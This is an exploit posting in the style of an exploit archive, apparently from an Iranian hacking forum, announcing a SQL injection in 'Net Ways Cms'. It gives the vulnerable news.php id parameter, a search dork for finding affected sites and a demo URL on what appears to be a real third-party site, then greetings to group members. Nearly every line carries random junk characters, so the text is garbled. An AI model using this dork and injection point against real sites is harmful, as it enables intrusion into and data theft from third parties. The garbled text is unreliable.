################################################################################??########
. z- Z- x6 ~, X1 a. }, J#
/ C. R; |1 M2 |' O# Exploit Title : Net Ways Cms Sql Injection Vulnerability / h. ]4 b$ U: j2 Q& O
#
3 w0 u2 k, B2 d+ D+ h5 W+ e+ ]- L# Author : IrIsT.Ir
) k, I; w7 W6 v8 |' t# D* U9 G9 k2 i5 d
# Discovered By : Am!r " L6 c0 h Z* V4 c* K
#
8 g0 r8 W1 x) D, a+ D7 P# Home : http://IrIsT.Ir/forum
' _# k% ^. { K( g! W3 o' ?3 y#
y p% }8 Q6 |# Software Link : http://www.netways.com/ www.political-security.com
+ c' k- Q9 d2 g$ j! w# F#
. E% @$ _0 j/ E; k# Security Risk : High 5 g+ v- J) f6 A1 r' i7 J
# ) x0 q1 N# y: s* J( R& d1 Z
# Version : All Version " V( h* J: b) ~0 g% a& }
#
; y+ c9 H% o0 L' ]; ]! k# Tested on : GNU/Linux Ubuntu - Windows Server - win7 8 S3 O* a4 m( @/ n+ k7 ^
# 9 i% a) ^7 V: d; ^
# Dork : intext:"Designed & developed by NetWays"
& z1 {7 n5 }+ J0 \" F#
, j4 u# t, }7 _. q3 K& ^, G7 x################################################################################??######## : |5 Y- w/ B! y( G; s
# 1 K; g- @# V! _& [( [
# Expl0iTs :
+ p0 Z1 O* ` c; |# o0 u2 W# & e# F5 G* M0 G) d! \9 {. n% ]- g
# http://target.com/news.php?id=[Sql] 1 Q3 W% o0 _" O+ }
#
- C' B* M$ z+ M! w! r+ _# 6 P0 a- T; c [2 J8 p, e2 i
# D3mo : , ~6 I% H4 z2 c' y' `
#
% E% v' f$ _; v( v/ S# I# http://compagnieparento.com/news.php?id=7[Sql] 2 \1 m0 l6 R7 O1 k& W" R
#
0 p9 i" E# K, j7 H p################################################################################??########
% i1 H" b; q, G( f4 f# ! _# m- F. d. r8 l3 s* p
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
; C$ @" E- S4 k% V/ G# 1 d$ d* E2 T9 b" |( V0 J/ [" N, K) u
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
( f) u" H2 }7 R, Y+ Z# ; Z4 {, |* w- v. H+ M D
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum - v9 I0 `& G. a+ k" O
# ! q) [. L |" p& N4 G* N
################################################################################??######## |